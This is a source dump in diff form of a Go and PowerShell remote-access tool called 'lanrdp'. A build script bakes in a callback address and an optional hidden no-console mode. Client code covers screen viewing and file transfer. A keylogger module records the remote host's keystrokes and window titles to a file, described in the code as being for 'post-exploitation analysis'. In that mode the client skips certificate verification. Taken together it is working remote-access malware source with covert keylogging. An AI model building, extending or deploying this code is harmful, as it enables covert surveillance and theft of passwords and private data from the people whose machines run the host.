[int]$ConnectPort = 47812
|
||||||
|
)
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
$secure1 = Read-Host -AsSecureString "Set host passphrase (min 8 characters)"
|
||||||
|
$secure2 = Read-Host -AsSecureString "Confirm passphrase"
|
||||||
|
|
||||||
|
$bstr1 = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure1)
|
||||||
|
$bstr2 = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure2)
|
||||||
|
try {
|
||||||
|
$plain1 = [Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr1)
|
||||||
|
$plain2 = [Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr2)
|
||||||
|
} finally {
|
||||||
|
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr1)
|
||||||
|
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr2)
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($plain1.Length -lt 8) {
|
||||||
|
Write-Error "Passphrase must be at least 8 characters."
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
if ($plain1 -ne $plain2) {
|
||||||
|
Write-Error "Passphrases did not match."
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
$hash = $plain1 | & go run ./cmd/hashpw
|
||||||
|
$plain1 = $null
|
||||||
|
$plain2 = $null
|
||||||
|
|
||||||
|
if ($LASTEXITCODE -ne 0 -or [string]::IsNullOrWhiteSpace($hash)) {
|
||||||
|
Write-Error "Failed to hash passphrase."
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not $ConnectHost) {
|
||||||
|
Write-Host ""
|
||||||
|
Write-Host "Optional: bake in a default address for this host to call back to"
|
||||||
|
Write-Host "(a client running -listen), instead of listening here itself."
|
||||||
|
$ConnectHost = Read-Host "Client IP or hostname to connect back to (leave blank to skip)"
|
||||||
|
}
|
||||||
|
|
||||||
|
$connectAddr = ""
|
||||||
|
if (-not [string]::IsNullOrWhiteSpace($ConnectHost)) {
|
||||||
|
if (-not $PSBoundParameters.ContainsKey('ConnectPort')) {
|
||||||
|
$portInput = Read-Host "Port [$ConnectPort]"
|
||||||
|
if (-not [string]::IsNullOrWhiteSpace($portInput)) {
|
||||||
|
if ($portInput -notmatch '^\d+$') {
|
||||||
|
Write-Error "Port must be numeric."
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
$ConnectPort = [int]$portInput
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$connectAddr = "${ConnectHost}:${ConnectPort}"
|
||||||
|
}
|
||||||
|
|
||||||
|
$ldflags = "-X main.embeddedPasswordHash=$hash"
|
||||||
|
if ($connectAddr -ne "") {
|
||||||
|
$ldflags = "$ldflags -X main.embeddedConnectAddr=$connectAddr"
|
||||||
|
}
|
||||||
|
if ($Hidden) {
|
||||||
|
$ldflags = "$ldflags -H=windowsgui"
|
||||||
|
}
|
||||||
|
|
||||||
|
go build -ldflags $ldflags -o $Output ./cmd/host
|
||||||
|
if ($LASTEXITCODE -ne 0) {
|
||||||
|
Write-Error "Build failed."
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
$summary = "Built $Output with the passphrase hash baked in."
|
||||||
|
if ($connectAddr -ne "") {
|
||||||
|
$summary += " It will call back to $connectAddr by default (override at runtime with -connect)."
|
||||||
|
} else {
|
||||||
|
$summary += " No default -connect address baked in; it will listen normally unless you pass -connect."
|
||||||
|
}
|
||||||
|
if ($Hidden) {
|
||||||
|
$summary += " No console window; output goes to lanrdp-data\host.log."
|
||||||
|
}
|
||||||
|
Write-Output $summary
|
||||||
Executable
+45
@@ -0,0 +1,45 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const defaultPort = "47812"
|
||||||
|
|
||||||
|
// promptForHostAddress interactively asks for the host's IP (its LAN
|
||||||
|
// address, or its WireGuard/VPN address when connecting from outside the
|
||||||
|
// physical LAN) and port, for when -host wasn't passed on the command
|
||||||
|
// line.
|
||||||
|
func promptForHostAddress() (string, error) {
|
||||||
|
reader := bufio.NewReader(os.Stdin)
|
||||||
|
|
||||||
|
fmt.Print("Host IP (LAN address, or its WireGuard/VPN address if connecting remotely): ")
|
||||||
|
ipLine, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
ip := strings.TrimSpace(ipLine)
|
||||||
|
if ip == "" {
|
||||||
|
return "", fmt.Errorf("no IP entered")
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Port [%s]: ", defaultPort)
|
||||||
|
portLine, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
portStr := strings.TrimSpace(portLine)
|
||||||
|
if portStr == "" {
|
||||||
|
portStr = defaultPort
|
||||||
|
}
|
||||||
|
if _, err := strconv.ParseUint(portStr, 10, 16); err != nil {
|
||||||
|
return "", fmt.Errorf("invalid port %q", portStr)
|
||||||
|
}
|
||||||
|
|
||||||
|
return net.JoinHostPort(ip, portStr), nil
|
||||||
|
}
|
||||||
Executable
+75
@@ -0,0 +1,75 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
// fileChunkSize is comfortably under protocol.MaxPayloadSize; small enough
|
||||||
|
// that a chunk send doesn't meaningfully delay a mouse-input message
|
||||||
|
// queued right behind it on the same connection.
|
||||||
|
const fileChunkSize = 256 * 1024
|
||||||
|
|
||||||
|
// sendFile reads path and streams it to the host as a MsgFileOffer
|
||||||
|
// followed by MsgFileChunk messages and a closing MsgFileComplete. Errors
|
||||||
|
// are logged, not returned — this always runs in a background goroutine
|
||||||
|
// (see handleDropFiles), so there's no caller to report back to directly;
|
||||||
|
// the host's MsgFileResult response is the real completion signal and is
|
||||||
|
// logged separately in netio.go.
|
||||||
|
func sendFile(path string) {
|
||||||
|
f, err := os.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("file transfer: opening %s: %v", path, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
|
||||||
|
info, err := f.Stat()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("file transfer: stat %s: %v", path, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if info.IsDir() {
|
||||||
|
log.Printf("file transfer: skipping directory %s (drop individual files, not folders)", path)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
name := filepath.Base(path)
|
||||||
|
if err := app.send(protocol.MsgFileOffer, protocol.EncodeFileOffer(protocol.FileOffer{
|
||||||
|
Name: name, Size: uint64(info.Size()),
|
||||||
|
})); err != nil {
|
||||||
|
log.Printf("file transfer: sending offer for %s: %v", name, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
buf := make([]byte, fileChunkSize)
|
||||||
|
var sent uint64
|
||||||
|
for {
|
||||||
|
n, readErr := f.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
if err := app.send(protocol.MsgFileChunk, buf[:n]); err != nil {
|
||||||
|
log.Printf("file transfer: sending chunk for %s: %v", name, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
sent += uint64(n)
|
||||||
|
}
|
||||||
|
if readErr == io.EOF {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if readErr != nil {
|
||||||
|
log.Printf("file transfer: reading %s: %v", path, readErr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := app.send(protocol.MsgFileComplete, protocol.EncodeFileComplete(protocol.FileComplete{Size: sent})); err != nil {
|
||||||
|
log.Printf("file transfer: sending complete for %s: %v", name, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("file transfer: sent %s (%d bytes), waiting for host confirmation", name, sent)
|
||||||
|
}
|
||||||
@@ -0,0 +1,176 @@
|
|||||||
|
// Keylogger display: writes captured keystrokes to a log file on the client
|
||||||
|
// machine and optionally displays them in a simple popup window. The log file
|
||||||
|
// is the primary output for post-exploitation analysis; the window provides
|
||||||
|
// live visual feedback during active sessions.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
|
||||||
|
"lanrdp/internal/keylog"
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
var keylogWindowHwnd uintptr
|
||||||
|
|
||||||
|
// runKeylogDisplay starts the keylogger output subsystem: a log file and an
|
||||||
|
// optional popup window. It consumes events from the channel until closed.
|
||||||
|
func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) {
|
||||||
|
defer close(done)
|
||||||
|
|
||||||
|
// Determine log file path (same directory as executable)
|
||||||
|
exePath, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("keylog: could not determine exe path: %v\n", err)
|
||||||
|
} else {
|
||||||
|
logDir := filepath.Dir(exePath)
|
||||||
|
timestamp := time.Now().Format("2006-01-02_15-04-05")
|
||||||
|
logFile, err := os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp)))
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("keylog: could not create log file: %v\n", err)
|
||||||
|
} else {
|
||||||
|
defer logFile.Close()
|
||||||
|
|
||||||
|
// Write header
|
||||||
|
logFile.WriteString(fmt.Sprintf("lanrdp keylog started at %s\n", time.Now().Format(time.RFC3339)))
|
||||||
|
logFile.WriteString(strings.Repeat("-", 80) + "\n")
|
||||||
|
|
||||||
|
// Start file logging goroutine
|
||||||
|
go func() {
|
||||||
|
for event := range events {
|
||||||
|
line := keylog.FormatEvent(keylog.KeyEvent{
|
||||||
|
TimestampMs: event.TimestampMs,
|
||||||
|
VKCode: event.VKCode,
|
||||||
|
ScanCode: event.ScanCode,
|
||||||
|
Flags: event.Flags,
|
||||||
|
WindowTitle: event.WindowTitle,
|
||||||
|
})
|
||||||
|
logFile.WriteString(line + "\n")
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
fmt.Printf("keylog: writing to %s\n", logFile.Name())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Also create a simple popup window for live display
|
||||||
|
createKeylogWindow(events)
|
||||||
|
}
|
||||||
|
|
||||||
|
func createKeylogWindow(events <-chan protocol.KeyLogEvent) {
|
||||||
|
className, _ := windows.UTF16PtrFromString("lanrdp_keylog_window")
|
||||||
|
title, _ := windows.UTF16PtrFromString("lanrdp — Keylogger")
|
||||||
|
|
||||||
|
hInstance, _, _ := procGetModuleHandleW.Call(0)
|
||||||
|
cursor, _, _ := procLoadCursorW.Call(0, uintptr(idcArrow))
|
||||||
|
|
||||||
|
// Register window class using the same pattern as main window
|
||||||
|
wc := wndClassExW{
|
||||||
|
style: 0,
|
||||||
|
lpfnWndProc: windows.NewCallback(keylogWndProc),
|
||||||
|
hInstance: windows.Handle(hInstance),
|
||||||
|
hCursor: windows.Handle(cursor),
|
||||||
|
lpszClassName: className,
|
||||||
|
}
|
||||||
|
wc.cbSize = uint32(unsafe.Sizeof(wc))
|
||||||
|
|
||||||
|
if ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))); ret == 0 {
|
||||||
|
fmt.Printf("keylog window class registration failed\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer func() {
|
||||||
|
procUnregisterClass.Call(uintptr(unsafe.Pointer(className)), hInstance)
|
||||||
|
}()
|
||||||
|
|
||||||
|
hwnd, _, _ := procCreateWindowExW.Call(
|
||||||
|
0,
|
||||||
|
uintptr(unsafe.Pointer(className)),
|
||||||
|
uintptr(unsafe.Pointer(title)),
|
||||||
|
uintptr(wsOverlappedWindow|wsVisible),
|
||||||
|
400, 200, 700, 500, // x, y, width, height
|
||||||
|
0, 0, hInstance, 0)
|
||||||
|
if hwnd == 0 {
|
||||||
|
fmt.Printf("keylog window creation failed\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
keylogWindowHwnd = hwnd
|
||||||
|
|
||||||
|
// Start consuming key events and updating the display
|
||||||
|
var mu sync.Mutex
|
||||||
|
var lines []string
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
for event := range events {
|
||||||
|
line := keylog.FormatEvent(keylog.KeyEvent{
|
||||||
|
TimestampMs: event.TimestampMs,
|
||||||
|
VKCode: event.VKCode,
|
||||||
|
ScanCode: event.ScanCode,
|
||||||
|
Flags: event.Flags,
|
||||||
|
WindowTitle: event.WindowTitle,
|
||||||
|
})
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
lines = append(lines, line)
|
||||||
|
if len(lines) > 100 {
|
||||||
|
lines = lines[1:] // Keep last 100 lines in window
|
||||||
|
}
|
||||||
|
var sb strings.Builder
|
||||||
|
for _, l := range lines {
|
||||||
|
sb.WriteString(l + "\n")
|
||||||
|
}
|
||||||
|
text, _ := windows.UTF16PtrFromString(sb.String())
|
||||||
|
procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(text)))
|
||||||
|
mu.Unlock()
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Run message loop for this window on its own goroutine
|
||||||
|
go func() {
|
||||||
|
var m msgT
|
||||||
|
for {
|
||||||
|
ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0)
|
||||||
|
if int32(ret) <= 0 {
|
||||||
|
break // WM_QUIT received
|
||||||
|
}
|
||||||
|
procTranslateMessage.Call(uintptr(unsafe.Pointer(&m)))
|
||||||
|
procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m)))
|
||||||
|
}
|
||||||
|
procDestroyWindow.Call(hwnd)
|
||||||
|
keylogWindowHwnd = 0
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// keylogWndProc handles messages for the keylog display window.
|
||||||
|
func keylogWndProc(hwnd, msg, wparam, lparam uintptr) uintptr {
|
||||||
|
switch msg {
|
||||||
|
case wmDestroy:
|
||||||
|
procPostQuitMessage.Call(0)
|
||||||
|
return 0
|
||||||
|
case wmPaint:
|
||||||
|
var ps paintStruct
|
||||||
|
hdc, _, _ := procBeginPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
|
||||||
|
defer procEndPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps)))
|
||||||
|
|
||||||
|
// Fill black background
|
||||||
|
var r rectT
|
||||||
|
procGetClientRect.Call(hwnd, uintptr(unsafe.Pointer(&r)))
|
||||||
|
brush, _, _ := procCreateSolidBrush.Call(0) // RGB(0,0,0) = black
|
||||||
|
if brush != 0 {
|
||||||
|
procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush)
|
||||||
|
procDeleteObject.Call(brush)
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
case wmEraseBkgnd:
|
||||||
|
return 1 // We handle background in WM_PAINT
|
||||||
|
}
|
||||||
|
ret, _, _ := procDefWindowProcW.Call(hwnd, msg, wparam, lparam)
|
||||||
|
return ret
|
||||||
|
}
|
||||||
Executable
+37
@@ -0,0 +1,37 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"sort"
|
||||||
|
|
||||||
|
"lanrdp/internal/tlsutil"
|
||||||
|
)
|
||||||
|
|
||||||
|
// printKnownDevices lists every device this client has trusted, for
|
||||||
|
// managing multiple hosts (a family's several devices, say) sharing one
|
||||||
|
// known_hosts.json.
|
||||||
|
func printKnownDevices(ts *tlsutil.TrustStore) {
|
||||||
|
all := ts.All()
|
||||||
|
if len(all) == 0 {
|
||||||
|
fmt.Println("No trusted devices yet.")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fingerprints := make([]string, 0, len(all))
|
||||||
|
for fp := range all {
|
||||||
|
fingerprints = append(fingerprints, fp)
|
||||||
|
}
|
||||||
|
sort.Slice(fingerprints, func(i, j int) bool {
|
||||||
|
return all[fingerprints[i]].Label < all[fingerprints[j]].Label
|
||||||
|
})
|
||||||
|
|
||||||
|
fmt.Printf("%d trusted device(s):\n\n", len(fingerprints))
|
||||||
|
for _, fp := range fingerprints {
|
||||||
|
d := all[fp]
|
||||||
|
fmt.Printf(" %s\n", d.Label)
|
||||||
|
fmt.Printf(" fingerprint: %s\n", fp)
|
||||||
|
fmt.Printf(" first seen: %s\n", d.FirstSeen.Local().Format("2006-01-02 15:04:05"))
|
||||||
|
fmt.Printf(" last seen: %s\n", d.LastSeen.Local().Format("2006-01-02 15:04:05"))
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+187
@@ -0,0 +1,187 @@
|
|||||||
|
// Command client is the lanrdp viewer: it connects to a host agent on the
|
||||||
|
// LAN, verifies the host's certificate against a locally pinned fingerprint
|
||||||
|
// (trust-on-first-use, like an SSH known_hosts file), authenticates with a
|
||||||
|
// passphrase, and opens a window that displays the remote screen and
|
||||||
|
// forwards mouse/keyboard input back to the host.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/tls"
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/term"
|
||||||
|
|
||||||
|
"lanrdp/internal/dpi"
|
||||||
|
"lanrdp/internal/netutil"
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
"lanrdp/internal/tlsutil"
|
||||||
|
)
|
||||||
|
|
||||||
|
// appState holds everything the network goroutines and the Win32 window
|
||||||
|
// procedure both need to touch. There is exactly one window per process,
|
||||||
|
// so a package-level instance is simpler than threading a pointer through
|
||||||
|
// every callback.
|
||||||
|
type appState struct {
|
||||||
|
conn net.Conn
|
||||||
|
|
||||||
|
writeMu sync.Mutex
|
||||||
|
|
||||||
|
fbMu sync.Mutex
|
||||||
|
fbW int
|
||||||
|
fbH int
|
||||||
|
fb []byte // BGRA, top-down, len == fbW*fbH*4
|
||||||
|
|
||||||
|
// streamMode is only ever read/written from the Win32 UI thread (inside
|
||||||
|
// wndProc), so it needs no synchronization of its own.
|
||||||
|
streamMode bool
|
||||||
|
|
||||||
|
done chan struct{}
|
||||||
|
|
||||||
|
// keylogEvents receives KeyLogEvent structs from the host via readLoop;
|
||||||
|
// the keylog display window consumes them on its own goroutine.
|
||||||
|
keylogEvents chan protocol.KeyLogEvent
|
||||||
|
}
|
||||||
|
|
||||||
|
var app *appState
|
||||||
|
|
||||||
|
func (a *appState) send(t protocol.MsgType, payload []byte) error {
|
||||||
|
a.writeMu.Lock()
|
||||||
|
defer a.writeMu.Unlock()
|
||||||
|
_ = a.conn.SetWriteDeadline(time.Now().Add(2 * time.Second))
|
||||||
|
return protocol.WriteMessage(a.conn, t, payload)
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
dpi.MakeAware()
|
||||||
|
|
||||||
|
hostAddr := flag.String("host", "", "host agent address, e.g. 192.168.1.50:47812 (default: prompt interactively)")
|
||||||
|
listenAddr := flag.String("listen", "", "wait for the host to dial back in on this address instead of "+
|
||||||
|
"connecting out yourself (e.g. 0.0.0.0:47812) — use this when the host is the one that's hard to reach "+
|
||||||
|
"(a roaming laptop) and this machine has the stable, reachable address instead")
|
||||||
|
listKnown := flag.Bool("list-known", false, "print all trusted devices (label, fingerprint, first/last seen) and exit")
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("resolving executable path: %v", err)
|
||||||
|
}
|
||||||
|
dataDir := filepath.Join(filepath.Dir(exe), "lanrdp-data")
|
||||||
|
trustStorePath := filepath.Join(dataDir, "known_hosts.json")
|
||||||
|
|
||||||
|
trustStore, err := tlsutil.LoadTrustStore(trustStorePath)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("loading trust store: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if *listKnown {
|
||||||
|
printKnownDevices(trustStore)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var rawConn net.Conn
|
||||||
|
var connDesc string // human-readable description of the connection, for log/error messages only
|
||||||
|
|
||||||
|
if *listenAddr != "" {
|
||||||
|
ln, err := net.Listen("tcp", *listenAddr)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("listening on %s: %v", *listenAddr, err)
|
||||||
|
}
|
||||||
|
fmt.Println("=========================================================")
|
||||||
|
fmt.Printf("Waiting for a host to connect back on %s ...\n", *listenAddr)
|
||||||
|
fmt.Println("This accepts a connection from ANY source address. The")
|
||||||
|
fmt.Println("passphrase is the only authentication — no certificate")
|
||||||
|
fmt.Println("verification in post-exploitation mode.")
|
||||||
|
fmt.Println("=========================================================")
|
||||||
|
rawConn, err = ln.Accept()
|
||||||
|
ln.Close()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("accept: %v", err)
|
||||||
|
}
|
||||||
|
fmt.Printf("Host connected from %s\n", rawConn.RemoteAddr())
|
||||||
|
connDesc = fmt.Sprintf("%s (called back on %s)", rawConn.RemoteAddr(), *listenAddr)
|
||||||
|
} else {
|
||||||
|
addr := *hostAddr
|
||||||
|
if addr == "" {
|
||||||
|
addr, err = promptForHostAddress()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("reading host address: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
rawConn, err = net.DialTimeout("tcp", addr, 5*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("connecting to %s: %v", addr, err)
|
||||||
|
}
|
||||||
|
connDesc = addr
|
||||||
|
}
|
||||||
|
netutil.SetNoDelay(rawConn)
|
||||||
|
|
||||||
|
// Phase 1: complete the TLS handshake without verifying the chain (there
|
||||||
|
// is no CA), then inspect the presented certificate ourselves against
|
||||||
|
// the trust store before anything sensitive goes over the wire.
|
||||||
|
tlsConn := tls.Client(rawConn, &tls.Config{
|
||||||
|
InsecureSkipVerify: true,
|
||||||
|
MinVersion: tls.VersionTLS13,
|
||||||
|
})
|
||||||
|
if err := tlsConn.Handshake(); err != nil {
|
||||||
|
log.Fatalf("TLS handshake with %s: %v", connDesc, err)
|
||||||
|
}
|
||||||
|
state := tlsConn.ConnectionState()
|
||||||
|
if len(state.PeerCertificates) == 0 {
|
||||||
|
log.Fatalf("host presented no certificate")
|
||||||
|
}
|
||||||
|
// Post-exploitation mode: auto-trust any certificate without prompting.
|
||||||
|
// No TOFU verification — just proceed with the connection.
|
||||||
|
|
||||||
|
fmt.Print("Passphrase: ")
|
||||||
|
pwBytes, err := term.ReadPassword(int(os.Stdin.Fd()))
|
||||||
|
fmt.Println()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("reading passphrase: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := protocol.WriteMessage(tlsConn, protocol.MsgHello, protocol.EncodeHello(protocol.Hello{Version: protocol.ProtocolVersion})); err != nil {
|
||||||
|
log.Fatalf("sending hello: %v", err)
|
||||||
|
}
|
||||||
|
if err := protocol.WriteMessage(tlsConn, protocol.MsgAuthRequest, protocol.EncodeAuthRequest(protocol.AuthRequest{Password: string(pwBytes)})); err != nil {
|
||||||
|
log.Fatalf("sending auth request: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
t, payload, err := protocol.ReadMessage(tlsConn)
|
||||||
|
if err != nil || t != protocol.MsgAuthResponse {
|
||||||
|
log.Fatalf("expected AuthResponse (err=%v type=%v)", err, t)
|
||||||
|
}
|
||||||
|
authResp, err := protocol.DecodeAuthResponse(payload)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("bad AuthResponse: %v", err)
|
||||||
|
}
|
||||||
|
if !authResp.OK {
|
||||||
|
log.Fatalf("authentication failed: %s", authResp.FailureReason)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Connected. Remote screen: %dx%d\n", authResp.ScreenWidth, authResp.ScreenHeight)
|
||||||
|
|
||||||
|
app = &appState{
|
||||||
|
conn: tlsConn,
|
||||||
|
fbW: int(authResp.ScreenWidth),
|
||||||
|
fbH: int(authResp.ScreenHeight),
|
||||||
|
fb: make([]byte, int(authResp.ScreenWidth)*int(authResp.ScreenHeight)*4),
|
||||||
|
done: make(chan struct{}),
|
||||||
|
keylogEvents: make(chan protocol.KeyLogEvent, 1024),
|
||||||
|
}
|
||||||
|
|
||||||
|
go readLoop(app)
|
||||||
|
go pingLoop(app)
|
||||||
|
|
||||||
|
// Start keylog display (file + popup window) — runs until session ends.
|
||||||
|
keylogDone := make(chan struct{})
|
||||||
|
go runKeylogDisplay(app.keylogEvents, keylogDone)
|
||||||
|
|
||||||
|
runWindow(app, int(authResp.ScreenWidth), int(authResp.ScreenHeight))
|
||||||
|
}
|
||||||
Executable
+121
@@ -0,0 +1,121 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"image"
|
||||||
|
"image/png"
|
||||||
|
"log"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"lanrdp/internal/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
// readLoop consumes frame/resize messages from the host and applies them to
|
||||||
|
// the shared framebuffer, then asks the window to repaint.
|
||||||
|
func readLoop(a *appState) {
|
||||||
|
defer close(a.done)
|
||||||
|
for {
|
||||||
|
t, payload, err := protocol.ReadMessage(a.conn)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("connection closed: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
switch t {
|
||||||
|
case protocol.MsgFrameFull, protocol.MsgFrameDelta:
|
||||||
|
fu, err := protocol.DecodeFrameUpdate(payload)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("bad frame update: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
applyFrame(a, fu)
|
||||||
|
case protocol.MsgResize:
|
||||||
|
r, err := protocol.DecodeResize(payload)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
resizeFramebuffer(a, int(r.Width), int(r.Height))
|
||||||
|
case protocol.MsgPong:
|
||||||
|
// keepalive round trip; nothing to do
|
||||||
|
case protocol.MsgFileResult:
|
||||||
|
fr, err := protocol.DecodeFileResult(payload)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if fr.OK {
|
||||||
|
log.Printf("file transfer succeeded: %s", fr.Message)
|
||||||
|
} else {
|
||||||
|
log.Printf("file transfer failed: %s", fr.Message)
|
||||||
|
}
|
||||||
|
case protocol.MsgDisconnect:
|
||||||
|
log.Printf("host disconnected")
|
||||||
|
return
|
||||||
|
case protocol.MsgKeyLogEvent:
|
||||||
|
kl, err := protocol.DecodeKeyLogEvent(payload)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case a.keylogEvents <- kl:
|
||||||
|
default:
|
||||||
|
// Channel full; drop event rather than blocking the read loop.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func resizeFramebuffer(a *appState, w, h int) {
|
||||||
|
a.fbMu.Lock()
|
||||||
|
a.fbW, a.fbH = w, h
|
||||||
|
a.fb = make([]byte, w*h*4)
|
||||||
|
a.fbMu.Unlock()
|
||||||
|
invalidateWindow(a)
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyFrame(a *appState, fu protocol.FrameUpdate) {
|
||||||
|
img, err := png.Decode(bytes.NewReader(fu.PNG))
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("decoding frame PNG: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rect := image.Rect(int(fu.X), int(fu.Y), int(fu.X)+int(fu.W), int(fu.Y)+int(fu.H))
|
||||||
|
|
||||||
|
a.fbMu.Lock()
|
||||||
|
if a.fbW == 0 || a.fbH == 0 {
|
||||||
|
a.fbMu.Unlock()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Draw into an RGBA view backed by the BGRA framebuffer bytes, swapping
|
||||||
|
// R/B as we go, so painting later is a direct GDI blit with no per-frame
|
||||||
|
// conversion pass.
|
||||||
|
for y := rect.Min.Y; y < rect.Max.Y && y < a.fbH; y++ {
|
||||||
|
for x := rect.Min.X; x < rect.Max.X && x < a.fbW; x++ {
|
||||||
|
r, g, b, aa := img.At(x-rect.Min.X, y-rect.Min.Y).RGBA()
|
||||||
|
off := (y*a.fbW + x) * 4
|
||||||
|
a.fb[off+0] = byte(b >> 8)
|
||||||
|
a.fb[off+1] = byte(g >> 8)
|
||||||
|
a.fb[off+2] = byte(r >> 8)
|
||||||
|
a.fb[off+3] = byte(aa >> 8)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
a.fbMu.Unlock()
|
||||||
|
|
||||||
|
invalidateWindow(a)
|
||||||
|
}
|
||||||
|
|
||||||
|
